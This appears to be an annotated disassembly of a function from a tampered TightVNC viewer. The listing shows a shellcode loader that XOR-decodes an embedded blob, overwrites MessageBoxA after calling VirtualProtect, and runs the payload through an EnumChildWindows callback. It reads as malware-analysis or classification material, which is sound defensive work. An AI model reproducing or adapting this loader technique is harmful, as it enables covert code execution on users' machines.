Function at 0x4143c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49871f
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1a48
call fcn.00472da0
mov eax, dword [0x4cc06c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [0x4d01d4]
test ecx, ecx
je 0x414406
mov eax, dword [ecx]
push 1
call dword [eax]
push 8
call fcn.00471fe1
mov esi, eax
add esp, 4
mov dword [ebp - 0x1908], esi
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov dword [esi], vtable.ViewerSettingsManager.0
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov dword [ebp - 0x18fc], 0
mov dword [ebp - 0x18f8], 0
mov dword [ebp - 0x18f4], 0
lea eax, [ebp - 0x18fc]
mov byte [ebp - 4], 2
push eax
push 1
mov ecx, eax
call fcn.004217f0
mov eax, dword [ebp - 0x18f8]
mov ecx, dword [ebp - 0x18fc]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4b0eac
push ecx
call fcn.00473660
push str.SoftwareTightVNCViewer
lea eax, [ebp - 0x1900]
mov byte [ebp - 4], 3
push 0x4b3c2c
push eax
call fcn.0043a670
mov ecx, dword [esi + 4]
add esp, 0x18
mov edi, dword [ebp - 0x18fc]
test ecx, ecx
je 0x4144b6
mov eax, dword [ecx]
push 1
call dword [eax]
push 0x1c
call fcn.00471fe1
mov dword [ebp - 0x1904], eax
push ecx
push edi
push reloc.WS2_32.dll_accept
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0044efb0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18fc]
mov dword [esi + 4], eax
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
test ecx, ecx
je 0x414525
mov eax, dword [ebp - 0x18f4]
sub eax, ecx
sar eax, 1
lea edx, [eax + eax]
mov eax, ecx
cmp edx, 0x1000
jb 0x41451b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c1c
push edx
push ecx
call fcn.00471b16
add esp, 8
push ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a58]
mov dword [0x4d01d4], esi
call fcn.00421d80
push esi
lea ecx, [ebp - 0x1a58]
mov dword [ebp - 4], 5
call fcn.00422170
lea eax, [ebp - 0x1964]
mov word [ebp - 0x1990], 0x701
push eax
mov byte [ebp - 0x198e], 0
mov dword [ebp - 0x198c], 0xffffffff
mov dword [ebp - 0x1988], 6
mov dword [ebp - 0x1984], 0x100
mov dword [ebp - 0x197c], 1
mov dword [ebp - 0x1978], 1
mov dword [ebp - 0x1974], 0x1000100
mov byte [ebp - 0x1970], 0
mov dword [ebp - 0x196c], 1
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x19c8]
mov byte [ebp - 4], 6
call fcn.00403570
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x194c]
mov byte [ebp - 0x18ed], 0
call fcn.0044e190
mov byte [ebp - 4], 8
lea eax, [ebp - 0x19c8]
mov dword [ebp - 0x192c], eax
lea eax, [ebp - 0x1990]
mov dword [ebp - 0x1928], eax
lea eax, [ebp - 0x1a58]
mov dword [ebp - 0x1924], eax
lea eax, [ebp - 0x18ed]
mov dword [ebp - 0x1920], eax
mov dword [ebp - 0x191c], 0
mov dword [ebp - 0x1918], 0
call fcn.0041b760
mov dword [ebp - 0x191c], eax
mov byte [ebp - 4], 9
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov eax, dword [0x4d0324]
lea ecx, [ebp - 0x1910]
test eax, eax
cmovne ecx, eax
mov dword [0x4d0324], ecx
mov byte [ebp - 4], 0xa
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1910], 0x4b6d40
mov dword [ebp - 0x190c], eax
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1a58]
call fcn.004224e0
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x194c]
mov byte [ebp - 4], 0xe
call fcn.004190a0
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x18fc]
push dword [ebp - 0x1a24]
call fcn.00431710
lea eax, [ebp - 0x18fc]
mov byte [ebp - 4], 0x12
push 0x4b1b10
push eax
call fcn.004319e0
push 0x18d6
lea eax, [ebp - 0x18ec]
mov dword [ebp - 0x1908], 0
push str.____u_n
push eax
call fcn.00473660
lea eax, [ebp - 0x18fc]
push 0x4b33f8
push eax
call fcn.004319e0
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x1914]
add esp, 0x1c
mov dword [ebp - 0x1914], 0
push eax
push 0x40
push 0xf831
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4148ad
lea ecx, [ebp - 0x18fc]
call fcn.00431860
mov byte [ebp - 4], 0x13
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov dword [0x4d0324], 0
mov byte [ebp - 4], 0x14
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x191c]
mov esi, dword [ebp - 0x191c]
push dword [esi + 4]
call fcn.00414d20
mov eax, dword [ebp - 0x191c]
push 0x30
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x191c]
mov dword [eax], esi
mov eax, dword [ebp - 0x191c]
mov dword [eax + 8], esi
push dword [ebp - 0x191c]
mov dword [ebp - 0x1918], 0
call fcn.00471b16
add esp, 8
lea ecx, [ebp - 0x194c]
call fcn.0044e5e0
jmp 0x414869
lea ecx, [ebp - 0x19c8]
call fcn.00414c30
lea eax, [ebp - 0x1964]
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [ebp - 0x1a58]
mov dword [ebp - method.Lockable.virtual_0], vtable.Lockable.0
call fcn.00422030
xor eax, eax
jmp 0x414bfe
lea eax, [ebp - 0x18fc]
push str.Log_initialization_completed
push eax
call fcn.004319e0
mov dl, byte [ebp - 0x18ec]
add esp, 8
xor dl, 0x90
xor ecx, ecx
movsx eax, dl
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
movups xmm0, xmmword [ebp + ecx - 0x18ec]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x18ec], xmm1
movups xmm0, xmmword [ebp + ecx - 0x18dc]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x18dc], xmm1
movups xmm0, xmmword [ebp + ecx - 0x18cc]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x18cc], xmm1
movups xmm0, xmmword [ebp + ecx - 0x18bc]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x18bc], xmm1
add ecx, 0x40
cmp ecx, 0x18c0
jb 0x4148e0
cmp ecx, 0x18d5
jae 0x414962
nop
lea eax, [ebp - 0x18ec]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0x18d5
jb 0x414950
push 0x18d6
lea eax, [ebp - 0x18ec]
push eax
push esi
call fcn.00473660
add esp, 4
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x328]
push dword [ebp + 8]
call fcn.00417690
push 0
push esi
push 0
mov byte [ebp - 4], 0x17
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp byte [ebp - 0x18ed], 0
je 0x4149b3
push 0x157c
lea ecx, [ebp - 0x328]
call fcn.00417fc0
jmp 0x414a02
cmp byte [ebp - 0x19ac], 0
jne 0x4149f7
push 0x38
call fcn.00471fe1
add esp, 4
mov dword [ebp - 0x1904], eax
lea ecx, [ebp - 0x19c8]
mov byte [ebp - 4], 0x18
push ecx
mov ecx, eax
call fcn.00403640
lea ecx, [ebp - 0x1990]
mov byte [ebp - 4], 0x17
push ecx
push eax
lea ecx, [ebp - 0x328]
call fcn.00418060
jmp 0x414a02
lea ecx, [ebp - 0x328]
call fcn.00418280
lea ecx, [ebp - 0x328]
call fcn.0044ebb0
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x1904], eax
call fcn.00417c20
mov dword [ebp - 4], 0x12
jmp 0x414a72
mov edi, dword [ebp - 0x18f4]
test edi, edi
je 0x414abf
mov eax, dword [edi + 0x1c]
lea ecx, [edi + 0x1c]
push eax
push dword [eax]
lea eax, [ebp - 0x1908]
push eax
call fcn.00431d20
push 0x20
push dword [edi + 0x1c]
call fcn.00471b16
add esp, 8
mov dword [edi], vtable.LocalMutex.0
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0x58
push edi
mov dword [edi], vtable.Lockable.0
call fcn.00471b16
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov dword [0x4d0324], 0
mov byte [ebp - 4], 0x1b
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x191c]
mov esi, dword [ebp - 0x191c]
push dword [esi + 4]
call fcn.00414d20
mov eax, dword [ebp - 0x191c]
push 0x30
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x191c]
mov dword [eax], esi
mov eax, dword [ebp - 0x191c]
mov dword [eax + 8], esi
push dword [ebp - 0x191c]
mov dword [ebp - 0x1918], 0
call fcn.00471b16
add esp, 8
lea ecx, [ebp - 0x194c]
call fcn.0044e5e0
lea ecx, [ebp - 0x19a8]
call fcn.0043a210
mov eax, dword [ebp - 0x19c4]
mov dword [ebp - method.HostPath.virtual_0], vtable.HostPath.0
test eax, eax
je 0x414b7e
push eax
call fcn.00471de1
add esp, 4
mov dword [ebp - 0x19c4], 0
mov eax, dword [ebp - 0x19c0]
test eax, eax
je 0x414b9b
push eax
call fcn.00471de1
add esp, 4
mov dword [ebp - 0x19c0], 0
mov eax, dword [ebp - 0x19b8]
test eax, eax
je 0x414bb8
push eax
call fcn.00471de1
add esp, 4
mov dword [ebp - 0x19b8], 0
lea eax, [ebp - 0x1964]
mov dword [ebp - 0x19bc], 0
push eax
mov dword [ebp - 0x19b4], 0
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [ebp - 0x1a58]
mov dword [ebp - method.Lockable.virtual_0], vtable.Lockable.0
call fcn.00422030
mov eax, dword [ebp - 0x1904]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00471b05
mov esp, ebp
pop ebp
ret 0x10
call fcn.0047da31
int3